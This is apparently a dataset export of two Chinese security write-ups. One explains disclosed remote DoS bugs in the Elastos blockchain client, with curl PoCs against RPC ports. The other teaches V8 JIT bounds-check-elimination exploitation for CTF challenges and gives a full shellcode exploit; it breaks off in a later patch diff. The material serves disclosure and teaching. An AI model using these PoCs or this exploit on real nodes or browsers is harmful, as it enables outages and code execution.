text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 公链安全之亦来云多个远程DoS漏洞详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
关于区块链安全的资料，目前互联网上主要侧重于钱包安全、智能合约安全、交易所安全等，而很少有关于公链安全的资料，公链是以上一切业务应用的基础，本文将介绍公链中比较常见的一种的DoS漏洞。
## 1、 知识储备
公链客户端与其他传统软件的客户端没有太大区别，在传统软件上会遇到的问题在公链客户端中都有可能遇到。
所以要让一个客户端发生Crash的常见方法有：
1. 使程序发生运行时异常，且这个异常没有被容错，例如数组越界、除以0、内存溢出等。
2. 使系统环境不满足程序运行的要求，例如创建大数组造成的OOM、无限递归造成的OOM等
3. 多线程死锁
4. 其他
公链节点可被轻易攻击下线的危害是巨大的，比如会使网络算力骤减，从而导致51%攻击等。
本文根据亦来云的这几个漏洞主要介绍的是由OOM所引起的Crash漏洞。
## 2、 漏洞分析
本文主要对亦来云公链0.2.0的以下价值20ETH的4个漏洞进行分析：
DVP-2018-08809（Reward：5ETH）
DVP-2018-08813（Reward：5ETH）
DVP-2018-08817（Reward：5ETH）
DVP-2018-10793（Reward：5ETH）
### DVP-2018-08809
servers/interfaces.go漏洞代码片段：
func DiscreteMining(param Params) map[string] interface {} {
if LocalPow == nil {
return ResponsePack(PowServiceNotStarted, "")
} count,
ok: =param.Uint("count") if ! ok {
return ResponsePack(InvalidParams, "")
}
ret: =make([] string, count) blockHashes,
err: =LocalPow.DiscreteMining(uint32(count)) if err != nil {
return ResponsePack(Error, err)
}
for i,
hash: =range blockHashes { ret[i] = ToReversedString( * hash)
}
return ResponsePack(Success, ret)
}
根据以上代码可以发现DiscreteMining函数会接收一个param参数，并从param中取出一个值赋值给count变量。
然后count变量会被待会make函数中
通过官方文档了解到make函数是用于创建数组的，而数组的长度由第二个参数控制，理论上只要第二个参数很大，就会产生一个占有大量内存的数组，从而导致OOM。
而make函数的第二个参数可以通过param参数来控制，所以只要param参数是远程可控的，就可以远程使节点Crash了。
最终在httpjsonrpc/server.go中发DiscreteMining能通过rpc接口远程调用，而目前的客户端是默认开启rpc并绑定公网地址的，所以可以对公网上任意节点发送恶意包使其Crash。
StartRPCServer函数代码片段：
func StartRPCServer() {
mainMux = make(map[string] func(Params) map[string] interface {}) http.HandleFunc("/", Handle) //省略一段 // mining interfaces mainMux["togglemining"] = ToggleMining
mainMux["discretemining"] = DiscreteMining err: =http.ListenAndServe(":" + strconv.Itoa(Parameters.HttpJsonPort), nil) if err != nil { log.Fatal("ListenAndServe: ", err.Error())
}
}
PoC：
curl--data - binary '{"method":"discretemining","params":{"count":"99999999999999"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20333
### DVP-2018-08813
core/payloadwithdrawfromsidechain.go漏洞代码片段：
func(t * PayloadWithdrawFromSideChain) Deserialize(r io.Reader, version byte) error { height,
err: =common.ReadUint32(r) if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], BlockHeight deserialize failed.")
} address,
err: =common.ReadVarString(r) if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], GenesisBlockAddress deserialize failed.")
}
length,
err: =common.ReadVarUint(r, 0)
if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], SideChainTransactionHashes length deserialize failed")
} t.SideChainTransactionHashes = nil t.SideChainTransactionHashes = make([] common.Uint256, length) for i: =uint64(0);
i < length;
i++{
var hash common.Uint256 err: =hash.Deserialize(r) if err != nil {
return errors.New("[WithdrawFromSideChain], SideChainTransactionHashes deserialize failed.")
} t.SideChainTransactionHashes[i] = hash
} t.BlockHeight = height t.GenesisBlockAddress = address
return nil
}
这里同样是由于make函数的第二个参数由参数r控制，只要r可控就可以使make函数引发OOM，从而Crash。
在servers/interface.go中的SendRawTransaction函数中发现间接的调用了Transaction的Deserialize函数，具体如下：
func SendRawTransaction(param Params) map[string] interface {} {
str,
ok: =param.String("data") if ! ok {
return ResponsePack(InvalidParams, "need a string parameter named data")
}
bys,
err: =HexStringToBytes(str) if err != nil {
return ResponsePack(InvalidParams, "hex string to bytes error")
}
var txn Transaction err: =txn.Deserialize(bytes.NewReader(bys));
err != nil {
return ResponsePack(InvalidTransaction, "transaction deserialize error")
}
if errCode: =VerifyAndSendTx( & txn);
errCode != Success {
return ResponsePack(errCode, errCode.Message())
}
return ResponsePack(Success, ToReversedString(txn.Hash()))
}
根据如上标红代码可以发现SendRawTransaction函数会先取RPC接口传来的data参数复制给变量str，然后变量str会转换为bytes复制给变量bys，最后bys变量会被带入Transaction的Deserialize函数中。
再看看Transaction的Deserialize函数：
func(tx * Transaction) Deserialize(r io.Reader) error {
// tx deserialize
if err: =tx.DeserializeUnsigned(r);
err != nil {
//略
return nil
}
//略
参数r被带入了Transaction的DeserializeUnsigned函数中，继续跟踪一下：
func(tx * Transaction) DeserializeUnsigned(r io.Reader) error {
//略
tx.Payload,
err = GetPayload(tx.TxType) if err != nil {
return err
} err = tx.Payload.Deserialize(r, tx.PayloadVersion)
//略
return nil
}
func GetPayload(txType TransactionType)(Payload, error) {
var p Payload
switch txType {
//略
case WithdrawFromSideChain:
p = new(PayloadWithdrawFromSideChain)
case TransferCrossChainAsset:
p = new(PayloadTransferCrossChainAsset)
default:
return nil,
errors.New("[Transaction], invalid transaction type.")
}
return p,
nil
}
在该函数中会先通过GetPayload(tx.TxType)来取到tx.Payload，然后会调用tx.Payload的Deserialize函数，只要能控制Payload的类型为PayloadWithdrawFromSideChain，就可以触发PayloadWithdrawFromSideChain的Deserialize函数，而Transaction是通过RPC接口远程传来的，所以tx对象的字段都是可控的。
最终的利用链：RPC的SendRawTransaction接口->Transaction的Deserialize函数->Transaction的DeserializeUnsigned函数->通过GetPayload取到取到PayloadWithdrawFromSideChain对象->调用其的Deserialize函数->触发make->OOM
PoC：
curl--data - binary '{"method":"sendrawtransaction","params":{"data":"0701100000000196ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
漏洞复现：
### DVP-2018-08817
还是上面的Deserialize函数引起的OOM，不过触发点不同。
这次的触发点是在servers/interfaces.go中的SubmitAuxBlock函数中：
func SubmitAuxBlock(param Params) map[string] interface {} { blockHash,
ok: =param.String("blockhash") if ! ok {
return ResponsePack(InvalidParams, "parameter blockhash not found")
}
var msgAuxBlock * Block
if msgAuxBlock,
ok = LocalPow.MsgBlock.BlockData[blockHash]; ! ok { log.Trace("[json-rpc:SubmitAuxBlock] block hash unknown", blockHash) return ResponsePack(InternalError, "block hash unknown")
} auxPow,
ok: =param.String("auxpow") if ! ok {
return ResponsePack(InvalidParams, "parameter auxpow not found")
}
var aux aux.AuxPow buf, _: =HexStringToBytes(auxPow) if err: =aux.Deserialize(bytes.NewReader(buf));
err != nil { log.Trace("[json-rpc:SubmitAuxBlock] auxpow deserialization failed", auxPow) return ResponsePack(InternalError, "auxpow deserialization failed")
}
//略
return ResponsePack(Success, true)
}
根据如上代码可以发现，RPC接口传过来的auxpow参数经过转为bytes后会传入变量buf，最终变量buf会被带入Deserialize函数中，所以整个过程也是可控的，唯一不足的是这个触发点还需要提供另外一个参数blockhash，如果不提供这个参数或者提供有误的话会没法往下执行，不过好在正好还有一个CreateAuxblock函数，利用此函数可以创建一个Auxblock并得到它的blockhash。
PoC：
curl--data - binary '{"method":"createauxblock","params":{"paytoaddress":"0701100000000196ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
curl--data - binary '{"method":"submitauxblock","params":{"blockhash":"上个请求返回的blockhash","auxpow":"ffffffffffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
### DVP-2018-10793
最后这一个漏洞问题不是出在亦来云公链源码中，而是出在亦来云公链的官方依赖包(Elastos.ELA.Utility)中
common/serialize.go漏洞代码片段：
func ReadVarBytes(reader io.Reader)([] byte, error) { val,
err: =ReadVarUint(reader, 0) if err != nil {
return nil,
err
} str,
err: =byteXReader(reader, val) if err != nil {
return nil,
err
}
return str,
nil
}
func byteXReader(reader io.Reader, x uint64)([] byte, error) { p: =make([] byte, x) n,
err: =reader.Read(p) if n > 0 {
return p[: ],
nil
}
return p,
err
}
ReadVarBytes函数会从reader参数中取出一个数值给val变量，val变量会被带入byteXReader函数
中，而byteXReader函数会将接收到的第二个参数带入make函数的第二个参数中，所以只要reader可控的话就能构造一段payload最终使make函数引起OOM。
由于这个函数在一个通用工具库中，所以理论上可以从很多地方触发，这个漏洞还是使用的是RPC接口的SendRawTransaction函数的Deserialize函数进行触发。
func(tx * Transaction) Deserialize(r io.Reader) error {
//略
for i: =uint64(0);
i < count;
i++{
var program Program
if err: =program.Deserialize(r);
err != nil {
return errors.New("transaction deserialize program error: " + err.Error())
} tx.Programs = append(tx.Programs, &program)
}
return nil
}
然后调用到了Program的Deserialize函数：
func(p * Program) Deserialize(w io.Reader) error { parameter,
err: =ReadVarBytes(w) if err != nil {
return errors.New("Execute Program Deserialize Parameter failed.")
} p.Parameter = parameter code,
err: =ReadVarBytes(w) if err != nil {
return errors.New("Execute Program Deserialize Code failed.")
} p.Code = code
return nil
}
然后就调用到了依赖库中的ReadVarBytes函数，该函数会调用触发OOM的byteXReader函数，数据都是一路从RPC接口传过来的，所以是可控的。
那么利用链就很明了了：RPC的SendRawTransaction接口->Transaction的Deserialize函数->Program的Deserialize函数->依赖库中的ReadVarBytes函数->byteXReader函数->触发make->OOM
PoC：
curl--data - binary '{"method":"sendrawtransaction","params":{"data":"0301ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
漏洞复现：
## 3、 总结
Crash漏洞其实在传统安全领域已经非常常见了，比如Fuzzing浏览器，在遇到某些特殊输入的时候浏览器就会发生Crash，不过仅仅是Crash的话在传统客户端领域，危害其实并不是很大。
但在区块链中便不同了，任何一个微小的问题都可以被无限放大，例如：整型溢出漏洞导致超额铸币。所以就Crash漏洞来说，在区块链的公链中也是属于高危类型的漏洞，因为公链节点既是客户端
也是服务端，属于整个公链生态的基础设施。
目前公链安全由于其门槛相对较高，所以研究的人也比较少，DVP基金会将秉着负责任的披露原则逐步公开行业内的经典漏洞案例，为区块链安全领域添砖加瓦，同时我们也希望更多的白帽子参与到区块链安全这个还处于蛮荒阶段的领域中来。 | 社区文章 |
# v8的JIT边界检查（CheckBounds）消除的利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
从两道题学习v8中JIT优化的CheckBounds消除在漏洞中的利用
## 0x01 前置知识
### 生成IR图
在运行d8时加一个`--trace-turbo`选项，运行完成后，会在当前目录下生成一些json文件，这些便是JIT优化时的IR图数据。
./d8 --trace-turbo test.js
### Turbolizer搭建
我们需要看懂v8的`sea of
node`的IR图，v8为我们准备了一个可视化的IR图查看器`Turbolizer`，搭建`Turbolizer`的方法如下（先确保node.js为新版本）
cd tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer
然后浏览器访问8000端口，即可使用该工具，按CTRL+L可以将v8生成的IR图数据文件加载进来可视化查看
### sea of node学习
一个简单的示例，使用`--trace-turbo`运行
function opt(f) {
var x = f ? 1.1 : 2.2;
x += 1;
x *= 1;
return x;
}
for (var i=0;i<0x20000;i++) {
opt(true);
opt(false);
}
print(opt(true));
将生成的json文件用`Turbolizer`打开
左上角有许多的阶段选择，后面的序号代表它们的顺序，首先是`TFBytecodeGraphBuilder`阶段，该阶段就是简单的将js代码翻译为字节码，点击展开按钮，我们将所有节点展开查看
我们的`var x = f ? 1.1 :
2.2;`被翻译为了一个`Phi`节点，即其具体值不能在编译时确定，然后使用了`SpeculativeNumberAdd`和`SpeculativeNumberMultiply`做了`x+=1;x*=1`的运算。
接下来进入一个比较重要的阶段是`TFTyper`阶段，该阶段会尽可能的推测出节点的类型
其中整数会使用`Range`来表示，接下来`TFTypedLowering`阶段会使用更加合适的函数来进行运算
在`TFSimplifiedLowering`阶段，会去掉一些不必要的运算，然后统一类型
### CheckBounds节点
在数组下标访问中，`CheckBounds`用来检查边界，如下一个简单示例
function opt() {
var arr = [1.1,2.2];
var x = 1;
return arr[x];
}
for (var i=0;i<0x20000;i++) {
opt();
}
print(opt());
如图，在`TFLoadElimination`阶段，有CheckBounds检查下标是否越界
然而到了`simplified lowering`阶段，由于已经知道下标没有越界，因此可以直接去掉`CheckBounds`节点
现在假如我们将arr对象放到opt函数外部，那么由于编译的是opt函数，arr的信息JIT不能完全掌握，便不会消除`CheckBounds`节点
var arr = [1.1,2.2];
function opt() {
var x = 1;
return arr[x];
}
然而在最新版的v8中，不再有`CheckBounds`的消除，因为这个对于漏洞利用来说太方便了。
### CheckBounds消除的利用
在数值的运算错误漏洞中，在javascript层和JIT优化的代码，两者计算的数值如果不一致，那么就可以利用这种`CheckBounds消除`来实现数组越界
## 0x02 google-ctf2018-final-just-in-time
### patch分析
diff --git a/BUILD.gn b/BUILD.gn
index c6a58776cd..14c56d2910 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
"src/compiler/dead-code-elimination.cc",
"src/compiler/dead-code-elimination.h",
"src/compiler/diamond.h",
+ "src/compiler/duplicate-addition-reducer.cc",
+ "src/compiler/duplicate-addition-reducer.h",
"src/compiler/effect-control-linearizer.cc",
"src/compiler/effect-control-linearizer.h",
"src/compiler/escape-analysis-reducer.cc",
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common)
+ : AdvancedReducer(editor),
+ graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
new file mode 100644
index 0000000000..7285f1ae3e
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2018 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+
+#include "src/base/compiler-specific.h"
+#include "src/compiler/graph-reducer.h"
+#include "src/globals.h"
+#include "src/machine-type.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+// Forward declarations.
+class CommonOperatorBuilder;
+class Graph;
+
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
+ : public NON_EXPORTED_BASE(AdvancedReducer) {
+ public:
+ DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common);
+ ~DuplicateAdditionReducer() final {}
+
+ const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
+
+ Reduction Reduce(Node* node) final;
+
+ private:
+ Reduction ReduceAddition(Node* node);
+
+ Graph* graph() const { return graph_;}
+ CommonOperatorBuilder* common() const { return common_; };
+
+ Graph* const graph_;
+ CommonOperatorBuilder* const common_;
+
+ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
+};
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
+
+#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index 5717c70348..8cca161ad5 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -27,6 +27,7 @@
#include "src/compiler/constant-folding-reducer.h"
#include "src/compiler/control-flow-optimizer.h"
#include "src/compiler/dead-code-elimination.h"
+#include "src/compiler/duplicate-addition-reducer.h"
#include "src/compiler/effect-control-linearizer.h"
#include "src/compiler/escape-analysis-reducer.h"
#include "src/compiler/escape-analysis.h"
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
data->jsgraph(), data->js_heap_broker(),
data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);
patch文件在`TypedLoweringPhase`阶段增加了一个自定义的优化方案，它会检查该阶段的`Opcode`，如果遇到`kNumberAdd`，并且两个操作数为`NumberConstant`类型，那么就会将结果运算以后，替换节点
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
使用如下测试
function opt(f) {
var x = f ? 1.1:2.2;
var y = x + 1 + 1;
return y;
}
for (var i=0;i<0x20000;i++) {
opt(true);
opt(false);
}
print(opt(true));
在`typer`阶段时，使用了两次`SpeculativeNumberAdd[Number]`来进行加1
而到了`TypedLowering`阶段，由于使用的是`NumberAdd`，因此`1+1`直接被优化计算出来了
假如使用如下的代码，发现不会使用`NumberAdd`，由此知道`NumberAdd`出现在不同的数值类型之间
function opt(f) {
var x = f ? 1:2;
var y = x + 1 + 1;
return y;
}
### 漏洞利用
需要借助IEE754的精度丢失来达到利用，在IEE754中，能够准确表示的最大整数为`9007199254740991`，大于这个数进行运算的话，会出现错误。
比如
var x = 9007199254740991;
x += 1;
x += 1;
x += 1;
x += 1;
x += 1;
print(x);
root@ubuntu:~/Desktop/google-ctf2018-final-just-in-time/debug# ./d8 1.js
9007199254740992
而
var x = 9007199254740991;
x += 5;
print(x);
root@ubuntu:~/Desktop/google-ctf2018-final-just-in-time/debug# ./d8 1.js
9007199254740996
因此，由于patch的加入，原本我们的`x + 1 + 1`与优化后的`x + 2`可能并不相等，那么就有可能在优化后造成数组越界。
首先构造
function opt() {
var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
var x = Number.MAX_SAFE_INTEGER + 4;
var y = x + 1 + 1;
var index = y - (Number.MAX_SAFE_INTEGER + 1);
return arr[index];
}
for (var i=0;i<0x20000;i++) {
opt();
}
print(opt());
发现并没有成功越界，查看IR图
由于opt里面全都是`NumberConstants`，导致所有的加法都被优化了，而我们仅仅想要优化`1+1`，由此，我们可以构造一个`Phi`节点
function opt(f) {
var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
var x = f ? Number.MAX_SAFE_INTEGER + 4:Number.MAX_SAFE_INTEGER+1;
var y = x + 1 + 1;
var index = y - (Number.MAX_SAFE_INTEGER + 1);
return arr[index];
}
for (var i=0;i<0x20000;i++) {
opt(true);
opt(false);
}
print(opt(true));
发现这回成功溢出
root@ubuntu:~/Desktop/google-ctf2018-final-just-in-time/debug# ./d8 1.js --trace-turbo
Concurrent recompilation has been disabled for tracing.
--------------------------------------------------- Begin compiling method opt using Turbofan
--------------------------------------------------- Finished compiling method opt using Turbofan
--------------------------------------------------- Begin compiling method using Turbofan
--------------------------------------------------- Finished compiling method using Turbofan
-1.1885946300594787e+148
分析IR图，patch的优化后于`NumberAdd`等，因此在最后一步减法`NumberSubtract`后，确定了`Range(0,4)`，显然这个范围不会越界，但是接下来patch的优化将`NumberAdd(1,1)`优化为了2，那么最终结果已发生变化，但是没有更新`CheckBounds`的范围
那么到达`simplified lowering`时，`CheckBounds`就会被移除，那么就可以溢出了
那么构造`fakeObj`和`addressOf`原语，然后利用即可
exp
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}
var arr;
function opt(f) {
arr = [1.1,2.2,3.3,4.4,5.5,6.6];
var b = f ? Number.MAX_SAFE_INTEGER+0x4:Number.MAX_SAFE_INTEGER+0x1;
var c = b+1+1;
var index = c - (Number.MAX_SAFE_INTEGER + 1);
return arr[index];
}
for (var i=0;i<0x30000;i++) {
opt(true);
opt(false);
}
var obj = {};
double_elements_map_addr = u64f(opt(true)) - 0x1n;
var obj_arr = [obj];
var obj_elements_map = i2f64(double_elements_map_addr + 0xa1n);
print("double_elements_map=" + double_elements_map_addr.toString(16));
print("obj_elements_map=" + u64f(obj_elements_map).toString(16));
function fakeObj_opt(addr,f) {
arr = [addr,2.2,3.3,4.4,5.5,6.6];
var b = f ? Number.MAX_SAFE_INTEGER+0x4:Number.MAX_SAFE_INTEGER+0x1;
var c = b+1+1;
var index = c - (Number.MAX_SAFE_INTEGER + 1);
arr[index] = obj_elements_map;
return arr;
}
for (var i=0;i<0x30000;i++) {
fakeObj_opt(1.1+i,true);
fakeObj_opt(1.1+i,false);
}
function fakeObj(addr) {
var addr_f = i2f64(addr + 0x1n);
return fakeObj_opt(addr_f,true)[0];
}
var double_elements_map_obj = fakeObj(double_elements_map_addr);
function addressOf_opt(obj,f) {
arr = [obj,obj,obj,obj,obj,obj];
var b = f ? Number.MAX_SAFE_INTEGER+0x4:Number.MAX_SAFE_INTEGER+0x1;
var c = b+1+1;
var index = c - (Number.MAX_SAFE_INTEGER + 1);
arr[index] = double_elements_map_obj;
return arr;
}
for (var i=0;i<0x30000;i++) {
addressOf_opt(obj,true);
addressOf_opt(obj,false);
}
function addressOf(obj) {
var a = addressOf_opt(obj,true)[0];
return u64f(a) - 0x1n;
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);
/*print('wasm='+addressOf(wasmInstance).toString(16));
%DebugPrint(wasmInstance);
%SystemBreak();*/
wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0xf8n;
var element_addr = faker_addr - 0x50n;
//print('element_addr=' + element_addr.toString(16));
//fake a ArrayBuffer's Map
faker[0] = i2f64(0n);
faker[1] = i2f64(0x1900042317080808n);
faker[2] = i2f64(0x00000000082003ffn);
faker[3] = i2f64(0);
//faker a ArrayBuffer
faker[4] = i2f64(element_addr+0x1n); //map
faker[5] = i2f64(0); //properties
faker[6] = i2f64(0); //elements
faker[7] = p64f(0xffffffff,0); //length
faker[8] = i2f64(wasm_shellcode_ptr_addr);
faker[9] = 0x2;
var arb_ArrayBuffer = fakeObj(element_addr+0x20n);
var adv = new DataView(arb_ArrayBuffer);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[8] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
在`addressOf_opt`和`fakeObj_opt`中，我们没有直接返回`arr[0]`这是因为arr在opt函数内部，编译时收集的信息足够充分，即使我们改了map，也不影响其取出的值，因此，我们要返回整个arr对象。
## 0x03 35c3ctf-krautflare
### patch分析
commit 950e28228cefd1266cf710f021a67086e67ac6a6
Author: Your Name <[email protected]>
Date: Sat Dec 15 14:59:37 2018 +0100
Revert "[turbofan] Fix Math.expm1 builtin typing."
This reverts commit c59c9c46b589deb2a41ba07cf87275921b8b2885.
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
+ case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
- case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
case BuiltinFunctionId::kMathLog:
case BuiltinFunctionId::kMathLog1p:
diff --git a/test/mjsunit/regress/regress-crbug-880207.js b/test/mjsunit/regress/regress-crbug-880207.js
index 09796a9ff4..0f65ddb56b 100644
--- a/test/mjsunit/regress/regress-crbug-880207.js
+++ b/test/mjsunit/regress/regress-crbug-880207.js
@@ -4,34 +4,10 @@
// Flags: --allow-natives-syntax
-(function TestOptimizedFastExpm1MinusZero() {
- function foo() {
- return Object.is(Math.expm1(-0), -0);
- }
+function foo() {
+ return Object.is(Math.expm1(-0), -0);
+}
- assertTrue(foo());
- %OptimizeFunctionOnNextCall(foo);
- assertTrue(foo());
-})();
- -(function TestOptimizedExpm1MinusZeroSlowPath() {
- function f(x) {
- return Object.is(Math.expm1(x), -0);
- }
- - function g() {
- return f(-0);
- }
- - f(0);
- // Compile function optimistically for numbers (with fast inlined
- // path for Math.expm1).
- %OptimizeFunctionOnNextCall(f);
- // Invalidate the optimistic assumption, deopting and marking non-number
- // input feedback in the call IC.
- f("0");
- // Optimize again, now with non-lowered call to Math.expm1.
- assertTrue(g());
- %OptimizeFunctionOnNextCall(g);
- assertTrue(g());
-})();
+assertTrue(foo());
+%OptimizeFunctionOnNextCall(foo);
+assertTrue(foo());
